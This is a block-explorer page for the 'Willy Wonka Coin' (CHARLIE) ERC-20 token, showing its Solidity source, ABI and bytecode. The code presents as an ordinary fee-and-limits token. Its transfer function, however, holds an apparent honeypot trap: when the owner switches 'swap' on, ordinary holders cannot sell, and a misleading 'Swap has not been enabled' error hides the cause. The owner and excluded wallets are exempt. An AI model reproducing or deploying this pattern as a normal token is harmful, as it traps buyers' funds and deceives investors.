Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000,000 CHARLIE
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
685,843,251.449727707527280123 CHARLIEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
WONKA
Compiler Version
v0.8.15+commit.e14f2714
Optimization Enabled:
Yes with 400 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT /* https://twitter.com/WillyWonkaErc https://t.me/willywonkaerc https://willywonka.lol */ pragma solidity ^0.8.15; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;} function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;} } abstract contract Context { function _msgSender() internal view virtual returns (address) {return msg.sender;} } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract WONKA is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address private constant DEAD = address(0xdead); address private constant ZERO = address(0); string private _name = "Willy Wonka Coin"; string private _symbol = "CHARLIE"; bool private swapping; mapping(address => bool) private isExcludedFromFees; mapping(address => bool) private isExcludedMaxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public buyFee; uint256 public sellFee; uint256 public maxTransactionAmount; uint256 public maxWallet; bool public tradingEnabled = false; bool public swapEnabled = false; bool public limitsInEffect = true; address public marketingWallet; mapping(address => bool) private pairs; constructor() ERC20(_name, _symbol) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; excludeFromMaxTransactionAmount(address(_uniswapV2Router), true); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); pairs[address(uniswapV2Pair)] = true; excludeFromMaxTransactionAmount(address(uniswapV2Pair), true); uint256 totalSupply = 100000000000 * 10**decimals(); maxTransactionAmount = totalSupply; maxWallet = totalSupply; swapTokensAtAmount = totalSupply.mul(1).div(1000); marketingWallet = address(0x186a796dbED1f2a18A12b2031f6dd6BC0E6A1291); buyFee = 0; sellFee = 0; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(marketingWallet, true); excludeFromMaxTransactionAmount(owner(), true); excludeFromMaxTransactionAmount(address(this), true); excludeFromMaxTransactionAmount(DEAD, true); excludeFromMaxTransactionAmount(marketingWallet, true); _mint(_msgSender(), totalSupply.mul(100).div(100)); } receive() external payable {} function excludeFromMaxTransactionAmount(address _address, bool excluded) public onlyOwner { isExcludedMaxTransactionAmount[_address] = excluded; } function excludeFromFees(address _address, bool excluded) public onlyOwner { isExcludedFromFees[_address] = excluded; } function _transfer(address from, address to, uint256 amount) internal override { require(from != ZERO, "ERC20: transfer from the zero address."); require(to != DEAD, "ERC20: transfer to the zero address."); require(amount > 0, "ERC20: transfer amount must be greater than zero."); if (from != owner() && to != owner() && to != ZERO && to != DEAD && !swapping) { if (!tradingEnabled) { require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active."); } if (limitsInEffect) { if (pairs[from] && !isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the max transaction amount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded."); } else if (pairs[to] && !isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the max transaction amount."); require(!swapEnabled, "Swap has not been enabled."); } else if (!isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded."); } } } bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !pairs[from] && !isExcludedFromFees[from] && !isExcludedFromFees[to] ) { swapping = true; swapBack(false); swapping = false; } bool takeFee = !swapping; if (isExcludedFromFees[from] || isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if(pairs[to] || pairs[from]) { fees = amount.mul(buyFee).div(100); } if (pairs[to] && buyFee > 0) { fees = amount.mul(buyFee).div(100); } else if (pairs[from] && sellFee > 0) { fees = amount.mul(sellFee).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function disableLimits() external onlyOwner { require(limitsInEffect == true, "The limits has been removed."); limitsInEffect = false; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function toggleSwap() external onlyOwner { swapEnabled = !swapEnabled; } function swapBack(bool _manualSwap) private { uint256 contractBalance = balanceOf(address(this)); bool success; if (contractBalance == 0) { return; } if (_manualSwap == false && contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } swapTokensForEth(contractBalance); (success, ) = address(marketingWallet).call{value: address(this).balance}(""); } function enableTrading() external onlyOwner { require(!tradingEnabled, "Trading is already open"); tradingEnabled = true; } }
{ "optimizer": { "enabled": true, "runs": 400 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052601060809081526f2bb4b6363c902bb7b735b09021b7b4b760811b60a05260089062000031908262000800565b50604080518082019091526007815266434841524c494560c81b60208201526009906200005f908262000800565b506012805462ffffff1916620100001790553480156200007e57600080fd5b50600880546200008e9062000772565b80601f0160208091040260200160405190810160405280929190818152602001828054620000bc9062000772565b80156200010d5780601f10620000e1576101008083540402835291602001916200010d565b820191906000526020600020905b815481529060010190602001808311620000ef57829003601f168201915b505050505060098054620001219062000772565b80601f01602080910402602001604051908101604052809291908181526020018280546200014f9062000772565b8015620001a05780601f106200017457610100808354040283529160200191620001a0565b820191906000526020600020905b8154815290600101906020018083116200018257829003601f168201915b50505050508160039081620001b6919062000800565b506004620001c5828262000800565b505050620001e2620001dc6200054d60201b60201c565b62000551565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915562000218816001620005a3565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002929190620008cc565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031b9190620008cc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000369573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038f9190620008cc565b600780546001600160a01b0319166001600160a01b0392831690811782556000908152601360205260409020805460ff191660019081179091559054620003d8921690620005a3565b6000620003e86012600a62000a11565b620003f99064174876e80062000a22565b601081905560118190559050620004396103e862000425836001620005d8602090811b6200078917901c565b620005ef60201b6200079c1790919060201c565b600d55601280546301000000600160b81b03191676186a796dbed1f2a18a12b2031f6dd6bc0e6a12910000001790556000600e819055600f5562000491620004896005546001600160a01b031690565b6001620005fd565b6200049e306001620005fd565b601254620004be90630100000090046001600160a01b03166001620005fd565b620004dd620004d56005546001600160a01b031690565b6001620005a3565b620004ea306001620005a3565b620004f961dead6001620005a3565b6012546200051990630100000090046001600160a01b03166001620005a3565b62000545336200053f606462000425606486620005d860201b620007891790919060201c565b62000632565b505062000a82565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b620005ad620006f9565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000620005e6828462000a22565b90505b92915050565b6000620005e6828462000a44565b62000607620006f9565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6001600160a01b0382166200068e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060026000828254620006a2919062000a67565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6005546001600160a01b03163314620007555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000685565b565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200078757607f821691505b602082108103620007a857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200075757600081815260208120601f850160051c81016020861015620007d75750805b601f850160051c820191505b81811015620007f857828155600101620007e3565b505050505050565b81516001600160401b038111156200081c576200081c6200075c565b62000834816200082d845462000772565b84620007ae565b602080601f8311600181146200086c5760008415620008535750858301515b600019600386901b1c1916600185901b178555620007f8565b600085815260208120601f198616915b828110156200089d578886015182559484019460019091019084016200087c565b5085821015620008bc5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620008df57600080fd5b81516001600160a01b0381168114620008f757600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000955578160001904821115620009395762000939620008fe565b808516156200094757918102915b93841c939080029062000919565b509250929050565b6000826200096e57506001620005e9565b816200097d57506000620005e9565b8160018114620009965760028114620009a157620009c1565b6001915050620005e9565b60ff841115620009b557620009b5620008fe565b50506001821b620005e9565b5060208310610133831016604e8410600b8410161715620009e6575081810a620005e9565b620009f2838362000914565b806000190482111562000a095762000a09620008fe565b029392505050565b6000620005e660ff8416836200095d565b600081600019048311821515161562000a3f5762000a3f620008fe565b500290565b60008262000a6257634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111562000a7d5762000a7d620008fe565b500190565b6118308062000a926000396000f3fe6080604052600436106101b05760003560e01c80636ddd1713116100ec578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610496578063e2f45605146104dc578063f8b45b05146104f2578063f928364c1461050857600080fd5b8063a9059cbb14610440578063c024666814610460578063c8c8ebe41461048057600080fd5b806375f0a874116100c657806375f0a874146103d15780638a8c523c146103f85780638da5cb5b1461040d57806395d89b411461042b57600080fd5b80636ddd17131461036757806370a0823114610386578063715018a6146103bc57600080fd5b80632ae2f12111610159578063470624021161013357806347062402146102f757806349bd5a5e1461030d5780634a62bb651461032d5780634ada218b1461034d57600080fd5b80632ae2f121146102a55780632b14ca56146102c5578063313ce567146102db57600080fd5b806318160ddd1161018a57806318160ddd1461024f5780631ff8d5071461026e57806323b872dd1461028557600080fd5b806306fdde03146101bc578063095ea7b3146101e75780631694505e1461021757600080fd5b366101b757005b600080fd5b3480156101c857600080fd5b506101d161051d565b6040516101de9190611533565b60405180910390f35b3480156101f357600080fd5b506102076102023660046115a0565b6105af565b60405190151581526020016101de565b34801561022357600080fd5b50600654610237906001600160a01b031681565b6040516001600160a01b0390911681526020016101de565b34801561025b57600080fd5b506002545b6040519081526020016101de565b34801561027a57600080fd5b506102836105c7565b005b34801561029157600080fd5b506102076102a03660046115cc565b6105ec565b3480156102b157600080fd5b506102836102c036600461160d565b610610565b3480156102d157600080fd5b50610260600f5481565b3480156102e757600080fd5b50604051601281526020016101de565b34801561030357600080fd5b50610260600e5481565b34801561031957600080fd5b50600754610237906001600160a01b031681565b34801561033957600080fd5b506012546102079062010000900460ff1681565b34801561035957600080fd5b506012546102079060ff1681565b34801561037357600080fd5b5060125461020790610100900460ff1681565b34801561039257600080fd5b506102606103a136600461164b565b6001600160a01b031660009081526020819052604090205490565b3480156103c857600080fd5b50610283610643565b3480156103dd57600080fd5b5060125461023790630100000090046001600160a01b031681565b34801561040457600080fd5b50610283610657565b34801561041957600080fd5b506005546001600160a01b0316610237565b34801561043757600080fd5b506101d16106c6565b34801561044c57600080fd5b5061020761045b3660046115a0565b6106d5565b34801561046c57600080fd5b5061028361047b36600461160d565b6106e3565b34801561048c57600080fd5b5061026060105481565b3480156104a257600080fd5b506102606104b1366004611668565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156104e857600080fd5b50610260600d5481565b3480156104fe57600080fd5b5061026060115481565b34801561051457600080fd5b50610283610716565b60606003805461052c90611696565b80601f016020809104026020016040519081016040528092919081815260200182805461055890611696565b80156105a55780601f1061057a576101008083540402835291602001916105a5565b820191906000526020600020905b81548152906001019060200180831161058857829003601f168201915b5050505050905090565b6000336105bd8185856107a8565b5060019392505050565b6105cf6108cc565b6012805461ff001981166101009182900460ff1615909102179055565b6000336105fa858285610926565b6106058585856109b8565b506001949350505050565b6106186108cc565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b61064b6108cc565b6106556000611135565b565b61065f6108cc565b60125460ff16156106b75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b6012805460ff19166001179055565b60606004805461052c90611696565b6000336105bd8185856109b8565b6106eb6108cc565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b61071e6108cc565b60125462010000900460ff16151560011461077b5760405162461bcd60e51b815260206004820152601c60248201527f546865206c696d69747320686173206265656e2072656d6f7665642e0000000060448201526064016106ae565b6012805462ff000019169055565b600061079582846116e6565b9392505050565b60006107958284611705565b6001600160a01b03831661080a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106ae565b6001600160a01b03821661086b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106ae565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146106555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106ae565b6001600160a01b0383811660009081526001602090815260408083209386168352929052205460001981146109b257818110156109a55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106ae565b6109b284848484036107a8565b50505050565b6001600160a01b038316610a1d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015265323932b9b99760d11b60648201526084016106ae565b61deac196001600160a01b03831601610a845760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526332b9b99760e11b60648201526084016106ae565b60008111610afa5760405162461bcd60e51b815260206004820152603160248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201527f726561746572207468616e207a65726f2e00000000000000000000000000000060648201526084016106ae565b6005546001600160a01b03848116911614801590610b2657506005546001600160a01b03838116911614155b8015610b3a57506001600160a01b03821615155b8015610b5157506001600160a01b03821661dead14155b8015610b605750600a5460ff16155b15610eda5760125460ff16610bfa576001600160a01b0383166000908152600b602052604090205460ff1680610bae57506001600160a01b0382166000908152600b602052604090205460ff165b610bfa5760405162461bcd60e51b815260206004820152601660248201527f54726164696e67206973206e6f74206163746976652e0000000000000000000060448201526064016106ae565b60125462010000900460ff1615610eda576001600160a01b03831660009081526013602052604090205460ff168015610c4c57506001600160a01b0382166000908152600c602052604090205460ff16155b15610d3957601054811115610cc95760405162461bcd60e51b815260206004820152603760248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f6d6178207472616e73616374696f6e20616d6f756e742e00000000000000000060648201526084016106ae565b6011546001600160a01b038316600090815260208190526040902054610cef9083611727565b1115610d345760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016106ae565b610eda565b6001600160a01b03821660009081526013602052604090205460ff168015610d7a57506001600160a01b0383166000908152600c602052604090205460ff16155b15610e4f57601054811115610df75760405162461bcd60e51b815260206004820152603860248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f206d6178207472616e73616374696f6e20616d6f756e742e000000000000000060648201526084016106ae565b601254610100900460ff1615610d345760405162461bcd60e51b815260206004820152601a60248201527f5377617020686173206e6f74206265656e20656e61626c65642e00000000000060448201526064016106ae565b6001600160a01b0382166000908152600c602052604090205460ff16610eda576011546001600160a01b038316600090815260208190526040902054610e959083611727565b1115610eda5760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016106ae565b600d5430600090815260208190526040902054108015908190610f045750601254610100900460ff165b8015610f135750600a5460ff16155b8015610f3857506001600160a01b03841660009081526013602052604090205460ff16155b8015610f5d57506001600160a01b0384166000908152600b602052604090205460ff16155b8015610f8257506001600160a01b0383166000908152600b602052604090205460ff16155b15610fa957600a805460ff19166001179055610f9e6000611194565b600a805460ff191690555b600a546001600160a01b0385166000908152600b602052604090205460ff91821615911680610ff057506001600160a01b0384166000908152600b602052604090205460ff165b15610ff9575060005b60008115611122576001600160a01b03851660009081526013602052604090205460ff168061104057506001600160a01b03861660009081526013602052604090205460ff165b1561106857611065606461105f600e548761078990919063ffffffff16565b9061079c565b90505b6001600160a01b03851660009081526013602052604090205460ff16801561109257506000600e54115b156110b8576110b1606461105f600e548761078990919063ffffffff16565b9050611104565b6001600160a01b03861660009081526013602052604090205460ff1680156110e257506000600f54115b1561110457611101606461105f600f548761078990919063ffffffff16565b90505b80156111155761111586308361123d565b61111f818561173f565b93505b61112d86868661123d565b505050505050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b30600090815260208190526040812054908181036111b157505050565b821580156111cb5750600d546111c89060146116e6565b82115b156111e157600d546111de9060146116e6565b91505b6111ea826113e1565b60125460405163010000009091046001600160a01b0316904790600081818185875af1925050503d806000811461112d576040519150601f19603f3d011682016040523d82523d6000602084013e61112d565b6001600160a01b0383166112a15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106ae565b6001600160a01b0382166113035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106ae565b6001600160a01b0383166000908152602081905260409020548181101561137b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106ae565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36109b2565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061141657611416611756565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561146f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611493919061176c565b816001815181106114a6576114a6611756565b6001600160a01b0392831660209182029290920101526006546114cc91309116846107a8565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611505908590600090869030904290600401611789565b600060405180830381600087803b15801561151f57600080fd5b505af115801561112d573d6000803e3d6000fd5b600060208083528351808285015260005b8181101561156057858101830151858201604001528201611544565b81811115611572576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461159d57600080fd5b50565b600080604083850312156115b357600080fd5b82356115be81611588565b946020939093013593505050565b6000806000606084860312156115e157600080fd5b83356115ec81611588565b925060208401356115fc81611588565b929592945050506040919091013590565b6000806040838503121561162057600080fd5b823561162b81611588565b91506020830135801515811461164057600080fd5b809150509250929050565b60006020828403121561165d57600080fd5b813561079581611588565b6000806040838503121561167b57600080fd5b823561168681611588565b9150602083013561164081611588565b600181811c908216806116aa57607f821691505b6020821081036116ca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611700576117006116d0565b500290565b60008261172257634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561173a5761173a6116d0565b500190565b600082821015611751576117516116d0565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561177e57600080fd5b815161079581611588565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117d95784516001600160a01b0316835293830193918301916001016117b4565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220cb6002860015de42edbfcf5be882079ebb126b5102d1aa577f271b57adb5d3d364736f6c634300080f0033
Deployed Bytecode
